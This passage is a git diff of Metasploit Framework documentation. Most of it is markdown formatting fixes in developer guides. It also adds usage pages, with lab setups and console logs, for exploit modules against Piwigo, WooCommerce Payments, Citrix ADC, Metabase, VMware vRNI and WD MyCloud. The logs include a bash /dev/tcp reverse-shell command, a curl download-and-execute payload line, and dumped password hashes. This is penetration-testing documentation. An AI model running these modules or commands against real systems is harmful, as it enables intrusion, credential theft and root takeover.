Usage: python_execute <python code> [-r result var name]
@@ -50,13 +50,13 @@ OPTIONS:
-r <opt> Name of the variable containing the result (optional)
```
A very simple example of this command is shown below:
```
```msf
meterpreter > python_execute "print 'Hi, from Meterpreter!'"
[+] Content written to stdout:
Hi, from Meterpreter!
```
Notice that any output that is written to stdout is captured by Meterpreter and returned to Metasploit so that it's visible to the user. This also happens for anything written to stderr, as shown below:
```
```msf
meterpreter > python_execute "x = x + 1"
[-] Content written to stderr:
Traceback (most recent call last):
@@ -66,25 +66,25 @@ NameError: name 'x' is not defined
This handy feature now only allows users to see the output of their scripts, but it also means that any errors are completely visible too.
A more interesting example can be seen below:
```
```msf
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]"
[+] Command executed without returning a result
```
The command above executes, but nothing was printed to stdout, or to stderr, and hence nothing was captured.
The good thing is that the Python extension is persistant across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
```
```msf
meterpreter > python_execute "print x"
[+] Content written to stdout:
[0, 5, 10, 15]
```
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` paramter, as described by the help:
```
```msf
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
[+] x = [0, 5, 10, 15]
```
Note that this command requires the first parameter to be a string that contains code that needs to be executed. However, this string can be blank, resulting in no code being executed. This means that extraction of content generated in previous calls is still possible without executing more code, or rerunning previous code snippets just to make use of the `-r` parameter:
```
```msf
meterpreter > python_execute "" -r x
[+] x = [0, 5, 10, 15]
```
@@ -95,7 +95,7 @@ Sometimes, single-line execution isn't enough, or is cumbersome. The `python_imp
## python_import
This command allows for whole modules to be loaded from the attacker's machine an uploaded to the target interpreter. The full help is shown below:
```
```msf
meterpreter > python_import -h
Usage: python_import <-f file path> [-n mod name] [-r result var name]
@@ -114,8 +114,8 @@ OPTIONS:
Importing of module trees is still considered a _beta_ feature, but we encourage you to use it where possible and keep us informed of any issues you may face.
Consider the following script:
```
$ cat /tmp/drives.py
```python
# $ cat /tmp/drives.py
import string
from ctypes import windll
@@ -133,7 +133,7 @@ result = get_drives()
print result
```
The aim of this is to determine all the local logical drives and put the letters into a list. From there it prints that list to screen. The result of running the script is as follows:
```
```msf
meterpreter > python_import -f /tmp/drives.py
[*] Importing /tmp/drives.py ...
[+] Content written to stdout:
@@ -146,7 +146,7 @@ This command is also intended to allow for recursive loading of modules from the
## python_reset
It may get to a point where the content of the interpreter needs to be flushed. The `python_reset` command clears out all imports, libraries and global variables:
```
```msf
meterpreter > python_execute "x = 100"
[+] Command executed without returning a result
meterpreter > python_execute "print x"
@@ -244,7 +244,7 @@ It is not possible to delete transports using the python extension as this opens
### Bindings example
```
```msf
meterpreter > getuid
Server username: WIN-TV01I7GG7JK\oj
meterpreter > python_execute "import meterpreter.user; print meterpreter.user.getuid()"
@@ -8,18 +8,18 @@ Clone a new metasploit-framework.git repository:
Go there and check out every remote branch we've got. That way, if you screw up and delete something important, you can add it back in later from this backup clone.
````
```
todb@presto:~/github/todb-r7$ cd msf-backup.git
`todb@presto:~/github/todb-r7/metasploit-framework$ for b in `git branch -r | grep -v "HEAD -> origin" | sed 's/^ origin\///'`; do git checkout -b $b --track origin/$b; done
````
```
Tarball it out of the way.
````
```
todb@presto:~/github/todb-r7$ cd ..
todb@presto:~/github$ tar zxvf msf-backup.git.tar.gz
todb@presto:~/github$ rm -rf msf-backup.git
````
```
# Make a new clone
@@ -35,10 +35,10 @@ First, wipe out anything that responds to prune. Usually that's not a lot.
Next, take a look at what's already merged and what's not. We can drop most of the merged stuff right away.
````
```
mazikeen:./msf-prune$ git branch -r --merged
mazikeen:./msf-prune$ git branch -r --no-merged
````
```
That gives a pretty good idea of how many branches we're talking about.
@@ -46,21 +46,21 @@ That gives a pretty good idea of how many branches we're talking about.
Here's a one-liner, lightly modified from http://stackoverflow.com/questions/2514172/listing-each-branch-and-its-last-revisions-date-in-git#2514279 which lists all remote **merged** branches in date order.
````
```
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort
````
```
Count off how many you want to keep at the end, do the arithmetic, and tack on another couple pipes to catch everything that's more than two weeks old. These are the merged branches that nobody's likely to miss.
`````
```
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort | head -45 | sed "s/^.*origin\///" > /tmp/merged_to_delete.txt
````
```
Pull the trigger:
````
```
mazikeen:./msf-prune$ for b in `cat /tmp/merged_to_delete.txt`; do echo Deleting $b && git push origin :$b; done
````
```
Note that we still have our tarball, so if we need to reinstate any of these branches, just need to re-push.
@@ -31,14 +31,14 @@ You can inspect exactly what commits are contained in this merge with the follow
Like so:
````
```
$ git log bad-merge...bad-merge~ --oneline
3996557 Fix conflcit lib/msf/util/exe.rb
6296c4f Merge pull request #9 from tabassassin/retab/pr/2320
d0a3ea6 Retab changes for PR #2320
bff7d0e Merge for retab
4c9e6a8 Default to exe-small
````
```
The syntax is a little wacky, but this is saying, "Show me all the commit hashes that occur from the `bad-merge` point to one back from `bad-merge` (in other words, from right before `bad-merge` was merged). That's what the tilde (~) means. You could also use `bad-merge^` or `bad-merge^1`, they're all equivalent.
@@ -4,9 +4,9 @@ If you're in the business of writing or collecting Metasploit modules that aren'
You must first set up a directory structure that fits with Metasploit's expectations of path names. What this typically means is that you should first create an "exploits" directory structure, like so:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits
````
```
If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll want to `mkdir` those as well.
@@ -14,9 +14,9 @@ If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll
Modules are sorted by (somewhat arbitrary) categories. These can be anything you like; I usually use `test` or `private`, but if you are developing a module with an eye toward providing it to the main Metasploit distribution, you will want to mirror the real module path. For example:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat
````
```
... if you are developing a file format exploit for Windows.
@@ -36,7 +36,7 @@ For full details:
If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits/test
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
@@ -44,7 +44,7 @@ todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gis
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1140 0 1140 0 0 3607 0 --:--:-- --:--:-- --:--:-- 7808
````
```
Then, in my msfconsole window:
@@ -176,7 +176,7 @@ git config commit.gpgsign true
Developers tend to customize their own [git aliases] to speed up common commands, but here are a few common ones:
```
```ini
[alias]
# An easy, colored oneline log format that shows signed/unsigned status
nicelog = log --pretty=format:'%Cred%h%Creset -%Creset %s %Cgreen(%cr) %C(bold blue)<%aE>%Creset [%G?]'
@@ -216,9 +216,9 @@ We're excited to see your upcoming contributions of new modules, documentation,
Finally, we welcome your feedback on this guide, so feel free to reach out to us on [Slack] or open a [new issue]. For their significant contributions to this guide, we would like to thank [@kernelsmith], [@corelanc0d3r], and [@ffmike].
[commercial-installer]:http://metasploit.com/download
[commercial-installer]:https://metasploit.com/download
[kali-user-instructions]:https://docs.kali.org/general-use/starting-metasploit-framework-in-kali
[parrot-user-instructions]:https://parrotsec.org/docs/installation.html
[parrot-user-instructions]:https://parrotsec.org/docs/category/installation
[CONTRIBUTING.md]:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
[Ubuntu]:https://www.ubuntu.com/download/desktop
@@ -14,7 +14,7 @@ The following sites are great references for Git padawans and jedi alike:
* [Git is Easier Than You Think](http://nfarina.com/post/9868516270/git-is-simpler): A nice tutorial that breaks down one Git user's experience switching from Subversion.
* [PeepCode: Git](http://peepcode.com/products/git): A one-hour (not-free) screencast covering Git basics. Well-made and easy to follow.
* [GitHub Flow](http://scottchacon.com/2011/08/31/github-flow.html): Another great post from Scott Chacon describing a GitHub-based workflow for projects.
* [Getting Started with GitHub](http://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
* [Getting Started with GitHub](https://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
## Using Git in Editors
@@ -110,8 +110,8 @@ your day-to-day workflow with Git.
## Git in Bash
When using Git, it's very handy (read: pretty much mandatory) to have an ambient cue in your shell telling you what branch you're currently on. Use this function in your .profile/.bashrc/.bash_profile to enable you to place your Git branch in your prompt:
````
```sh
function parse_git_branch {
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
````
```
@@ -12,7 +12,7 @@ A fork is when you snapshot someone else's codebase into your own repo, presumab
You only fork once, you clone as many times as you have machines on which you want to code, and you branch, commit, and push as often as you like (you don't always have to push, you can push later or not at all, but you'll have to push before doing a pull request, a.k.a. PR), and you submit a PR when you are ready. See below
```
```plaintext
github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-framework
^ |
| git clone git://github.com/<...>/metasploit-framework.git
@@ -26,4 +26,4 @@ github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-
`-- push <-- branch_xyz
```
(Thanks to kernelsmith for this excellent description)
(Thanks to kernelsmith for this excellent description)
@@ -198,8 +198,7 @@ Asking for: https/TSTWLPT1000000
Tickets in the current session can be viewed like so:
```
```msf
meterpreter > kerberos_ticket_list
[+] Kerberos tickets found in the current session.
[00000000] - 0x00000012 - aes256_hmac
+5 -1
View File
@@ -272,7 +272,7 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-use-msfvenom.md',
nav_order: 7
},
}
]
},
{
@@ -303,6 +303,10 @@ NAVIGATION_CONFIG = [
path: 'Metasploit-Database-Support.md',
title: 'Database Support'
},
{
path: 'How-To-Use-Plugins.md',
title: 'Metasploit Plugins',
}
]
},
{
@@ -15,7 +15,7 @@ Follow the steps in the [[Installing AD CS|ad-certificates/overview.md#installin
## Module usage
The `admin/ldap/ad_cs_template` module is generally used to update a certificate template as part of an ESC4 attack.
The `admin/ldap/ad_cs_cert_template` module is generally used to update a certificate template as part of an ESC4 attack.
1. From msfconsole
2. Do: `use auxiliary/admin/ldap/ad_cs_cert_template`
@@ -0,0 +1,132 @@
## Vulnerable Application
This module exploits an authenticated SQL injection vulnerability
caused by improper handling of user-supplied input in Piwigo (Photo Gallery).
The vulnerability can be found in Piwigo version 13.5.0.
By exploiting this vulnerability, an attacker can execute arbitrary SQL queries,
potentially gaining unauthorized access to sensitive information or manipulating the database.
For a detailed technical analysis of this vulnerability,
please refer to the [https://github.com/advisories/GHSA-4xvf-3477-vq63](https://github.com/advisories/GHSA-4xvf-3477-vq63).
## Options
To successfully perform a SQL injection attack, you need to configure the module's `RHOSTS`
option with a valid Piwigo endpoint (`TARGETURI`).
Additionally, set the `USERNAME` option to specify the name of a privileged user and provide the corresponding `PASSWORD`.
## Testing
To setup a test environment, the following steps can be performed.
1. Install docker [https://docker.io](docker.io)
2. Inside any directory create the dockerfile bellow:
```yaml
FROM alpine:3.10.3
LABEL maintainer="Moritz Heiber <hello@heiber.im>"
ENV PIWIGO_VERSION="13.5.0"
RUN set -x && apk --no-cache add curl php7 php7-gd php7-mysqli php7-json php7-session php7-exif && \
curl "http://piwigo.org/download/dlcounter.php?code=${PIWIGO_VERSION}" --output piwigo.zip && \
adduser -h /piwigo -DS piwigo && unzip piwigo.zip -d /piwigo && \
install -d -o piwigo /piwigo/piwigo/galleries /piwigo/piwigo/upload && \
chown -R piwigo /piwigo/piwigo/local && \
apk --no-cache del curl && rm piwigo.zip
WORKDIR /piwigo
USER piwigo
CMD ["php","-S","0.0.0.0:8000","-t","piwigo"]
```
3. Install `docker-compose` and create a file called `docker-compose.yml` with the following content:
```yaml
version: '3'
services:
piwigo:
container_name: piwigo
image: piwigo-docker
networks:
- piwigo
ports:
- "8000:8000"
mysql:
container_name: piwigo_mysql
image: mysql:8.0.18
command: ["--default-authentication-plugin=mysql_native_password"]
networks:
- piwigo
environment:
MYSQL_USER: "piwigo"
MYSQL_PASSWORD: "piwigo"
MYSQL_DATABASE: "piwigo"
MYSQL_RANDOM_ROOT_PASSWORD: "true"
networks:
piwigo:
```
4. Execute the commands `docker build -t piwigo-docker .` and `docker-compose up -d`
inside the folder that contains the `docker-compose.yml` and `Dockerfile` files.
5. Then Piwigo's installation page should be available at http://localhost:8000
6. Setup the database with `mysql` as url of database, **piwigo** as `username` **piwigo** as `password`
7. Login as priviledge user and create any photo album and upload any photo to that album.
## Verification Steps
1. Start `msfconsole`
2. Use the `auxiliary/gather/piwigo_cve_2023_26876 module`.
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. Set the `TARGETURI` option to the target HTTP path
5. Set the `USERNAME` option to piwigo.
6. Set the `PASSWORD` option to piwigo.
7. `run`
## Scenarios
### Piwigo SQL Injection
```
msf6 auxiliary(gather/piwigo_cve_2023_26876) > show options
Module options (auxiliary/gather/piwigo_cve_2023_26876):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD piwigo yes The password for authenticating to Piwigo
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to Piwigo
USERNAME piwigo yes The username for authenticating to Piwigo
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/piwigo_cve_2023_26876) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is running Piwigo with version 13.5.0
[*] Try to log in..
[+] Successfully logged into Piwigo
[+] Target is vulnerable
[*] Dump of usernames and hashes:
Piwigo Users
============
username hash
-------- ----
admin $P$GAO2fLIGJtRyQCNf96KbQ9PeiDAuii/
guest
piwigo $P$GNrJljahQW2NXTXhWNZdalgGiao/T1/
test1 $P$G2HB46S.PMs5gExCAfXCMUW2p1HwA60
user $P$GE/wX1wqKM0WKkAGXvhYihdPhgl5Mw/
[*] Auxiliary module execution completed
msf6 auxiliary(gather/piwigo_cve_2023_26876) >
```
@@ -0,0 +1,66 @@
## Vulnerable Application
WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1,
5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1,
5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number
within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API
to create a new user with administrative privileges on the target WordPress site IF the user ID
selected corresponds to an administrator account.
### Install
Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip)
No configuration is required, and one does not need to install the main WooCommerce platform itself.
## Verification Steps
1. Install the plugin
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user`
1. Do: `set username [username]`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. A new WordPress administrator account should be created.
1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively.
## Options
### USERNAME
The username to create. Default is `msfadmin`.
### PASSWORD
The password for the user. Default is to create a random one.
### EMAIL
The email address for the user. Default is to create a random one.
### ADMINID
The user ID number for a WordPress administrator. Defaults to `1`.
## Scenarios
### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2
```
msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die
username => h00die
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt
[*] Found version 5.6.1 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ (willie.miller@iwuxphff.qiawqio9t.gov)
[+] User was created successfully
[*] Auxiliary module execution completed
```
@@ -14,6 +14,87 @@ additional code paths to be followed.
## Setup
### Docker (Vulhub)
A prebuilt [vulhub](https://github.com/vulhub/vulhub) target is available for testing. This target does _not_ work with the `Shell` action, only the `Execute` action. To test that scenario, use the `Docker (Custom)` steps below.
```
docker run -it -p 3333:22 vulhub/libssh:0.8.1
```
### Docker (Custom)
In an empty folder create a new `Dockerfile` with the below file contents. Note that this Dockerfile is based on [vulhub/libssh:0.8.1](https://github.com/vulhub/vulhub/tree/4b1954c5c95140d99a4b94a7005707dd041196f6/base/libssh/0.8.1) with changes to work with the `Shell` target:
```Dockerfile
FROM buildpack-deps:stable-scm
LABEL maintainer="phithon <root@leavesongs.com>"
COPY ssh_server_fork.patch /ssh_server_fork.patch
RUN set -ex \
&& BUILDDEP="gcc g++ make pkg-config cmake xz-utils patch" \
&& apt-get update \
&& apt-get install --no-install-recommends -y \
ca-certificates \
wget \
libc6-dev \
zlib1g-dev \
libgcrypt20-dev \
libgpg-error-dev \
$BUILDDEP \
&& wget -qO- https://www.libssh.org/files/0.8/libssh-0.8.3.tar.xz \
| xz -c -d | tar x -C /usr/src --strip-components=1 \
&& mkdir -p /usr/src/build \
&& patch /usr/src/examples/ssh_server_fork.c < /ssh_server_fork.patch \
&& cd /usr/src/build \
&& cmake \
-DCMAKE_INSTALL_PREFIX=/usr \
-DWITH_SERVER=ON \
-DWITH_STATIC_LIB=ON \
-DWITH_GSSAPI=ON \
-DWITH_GCRYPT=ON \
-DWITH_SFTP=ON \
-DWITH_THREADS=ON \
.. \
&& make && make install \
&& apt-get purge -y --auto-remove $BUILDDEP
RUN ssh-keygen -t ecdsa -m pem -f /etc/ssh/ssh_host_ecdsa_key -q -N "" \
&& ssh-keygen -t dsa -m pem -f /etc/ssh/ssh_host_dsa_key -q -N "" \
&& ssh-keygen -t rsa -m pem -b 2048 -f /etc/ssh/ssh_host_rsa_key -q -N ""
CMD /usr/src/build/examples/ssh_server_fork --hostkey=/etc/ssh/ssh_host_rsa_key --ecdsakey=/etc/ssh/ssh_host_ecdsa_key --dsakey=/etc/ssh/ssh_host_dsa_key --rsakey=/etc/ssh/ssh_host_rsa_key -p 22 0.0.0.0
```
Ensure the Metasploit patch is present in the same directory:
```
cp /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch .
```
Expected directory structure:
```
Dockerfile
ssh_server_fork.patch
```
Build the image:
```
docker build -t libssh:vulnerable .
```
Create a new container available on port `2222`:
```
docker run -it -p 2222:22 libssh:vulnerable
```
### Host
1. `git clone git://git.libssh.org/projects/libssh.git`
2. `cd libssh` and `git checkout libssh-0.8.3`
3. `git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
@@ -0,0 +1,74 @@
## Vulnerable Application
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer overflow of
the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in remote code
execution as root.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/freebsd/http/citrix/formssso_target_Rce`
4. Set the `RHOST`, `PAYLOAD` and payload-related options
5. Do: `run`
6. You should get a shell.
## Options
## Scenarios
Specific demo of using the module that might be useful in a real world scenario.
### Citrix ADC 13.1-48.47
NetScaler VPX instance for VMware ESX from `NSVPX-ESX-13.1-48.47_nc_64`.
```
msf6 exploit(freebsd/http/citrix_formssso_target_rce) > show options
Module options (exploit/freebsd/http/citrix_formssso_target_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Citrix ADC 13.1-48.47
View the full module info with the info, or info -d command.
msf6 exploit(freebsd/http/citrix_formssso_target_rce) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (24768 bytes) to 192.168.159.30
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.30:36429) at 2023-07-31 17:34:18 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : cirtrix
OS : FreeBSD 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun 3 00:57:48 PDT 2023 root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64
Architecture : x64
Meterpreter : python/freebsd
meterpreter > pwd
/
meterpreter >
```
@@ -0,0 +1,54 @@
## Vulnerable Application
Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
is accessible even after the setup process has been completed. With this token
a user is able to submit the setup functionality to create a new database.
When creating a new database, an H2 database string is created with a TRIGGER
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.
Successfully tested against Metabase 0.46.6.
### Install
```
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/metabase_setup_token_rce`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. You should get a shell.
## Options
## Scenarios
### Metabase 0.46.6 on Docker
```
msf6 > use exploit/linux/http/metabase_setup_token_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/metabase_setup_token_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/metabase_setup_token_rce) > set lhost 111.111.11.111
lhost => 111.111.11.111
msf6 exploit(linux/http/metabase_setup_token_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/metabase_setup_token_rce) > exploit
[+] bash -c '0<&46-;exec 46<>/dev/tcp/111.111.11.111/4444;sh <&46 >&46 2>&46'
[*] Started reverse TCP handler on 111.111.11.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.46.6
[+] Found setup token: 45a2c97a-97f5-4a89-8f37-769b13411d16
[*] Sending exploit
[*] Command shell session 1 opened (111.111.11.111:4444 -> 222.22.2.2:55650) at 2023-07-28 12:48:47 +0000
id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
```
@@ -0,0 +1,138 @@
## Vulnerable Application
VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection
when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a
remote unauthenticated attacker to execute arbitrary commands on the underlying operating system
as the root user. The RPC interface is protected by a reverse proxy which can be bypassed.
VMware has evaluated the severity of this issue to be in the Critical severity range with a
maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the
context of `root` on the appliance.
VMWare versions 6.2 to 6.10 are vulnerable.
This module exploits the vulnerability to upload and execute payloads gaining root privileges.
Successfully tested against version 6.8.0.
### Install
The OVA file can be downloaded from the VMware Customer Connect portal.
1. Import the file VMware-vRealize-Network-Insight-6.8.0.1666364233-platform.ova into VMware Fusion
2. Login with the given credentials `consoleuser:console`
3. Run the `setup` command to begin setup
Starting Step 1/4: Create User Passwords
1. Enter and re-enter SSH_User_Password: `notpassword`
2. Enter and re-enter CLI_User_Password: `notpassword`
Starting Step 2/4: Network Configuration:
1. Enter IP_Family: `ipv4`
2. Enter IP_Address: `192.168.1.60`
3. Enter Default_Gateway: `192.168.1.254`
4. Enter DNS: `4.2.2.4 8.8.8.8`
5. Enter Domain_Search: `example.com`
6. Save configuration: `y`
Starting Step 3/3: Network Time Server Configuration:
1. Is the Network Time Security supported for NTP servers? `n`
2. Enter NTP servers: `0.us.pool.ntp.org`
Step 4/4: Web-Proxy (Optional Configuration)
1. Configure web proxy?: `n`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use linux/http/vmware_vrni_rce_cve_2023_20887`
1. Do: `set rhost [ip]`
1. Do: `set lhost [ip]`
1. Do: `set FETCH_SRVHOST [ip]`
1. Do: `run`
1. You should get a root shell.
## Options
## Scenarios
### VMware vRealize Network Insight 6.8.0 1666364233
```
msf6 > use linux/http/vmware_vrni_rce_cve_2023_20887
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set rhost 192.168.1.60
rhost => 192.168.1.60
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set lhost 192.168.1.67
lhost => 192.168.1.67
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set FETCH_SRVHOST 192.168.1.67
FETCH_SRVHOST => 192.168.1.67
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > options
Module options (exploit/linux/http/vmware_vrni_rce_cve_2023_20887):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.60 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME hHTNUdqFrV no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST 192.168.1.67 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.1.67 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.1.67:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.1.60:443 can be exploited.
[+] The target is vulnerable. VMWare Aria Operations for Networks (vRealize Network Insight) version 6.8.0 was found.
[*] Executing Unix (In-Memory) with curl -so ./yjUczQeXbCf http://192.168.1.67:8080/VtUnMtEdkI5A0Lv6Y2zkFw; chmod +x ./yjUczQeXbCf; ./yjUczQeXbCf &
[*] Attempting to execute shell
[*] Sending stage (3045348 bytes) to 192.168.1.60
[*] Meterpreter session 9 opened (192.168.1.67:4444 -> 192.168.1.60:52370) at 2023-07-20 14:50:13 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.1.60
OS : Ubuntu 18.04 (Linux 5.4.0-126-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,187 @@
## Vulnerable Application
This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in
Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user.
The module first performs a check to see if the target is WD MyCloud.
If so, it attempts to trigger an authentication bypass (CVE-2018-17153) via a crafted GET request to /cgi-bin/network_mgr.cgi.
If the server responds as expected (with a 404 response), the module assesses the vulnerability status by attempting to exploit
a commend injection vulnerability (CVE-2016-10108) in order to print a random string via the echo command.
This is done via a crafted POST request to /web/google_analytics.php where the command is injected into the `arg` POST parameter.
If the server is vulnerable, the same command injection vector is leveraged to execute the payload.
This module has been successfully tested against Western Digital MyCloud version 2.30.183.
Note: based on the available disclosures, it seems that the command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions before 2.21.126.
The obtained results on 2.30.183 imply that the patch for CVE-2016-10108 did not actually remove
the command injection vector, but only prevented unauthenticated access to it.
However, since older versions will also be vulnerable to CVE-2018-17153, this module always chains exploits for both issues.
- CVE-2016-10108 disclosure and PoC:
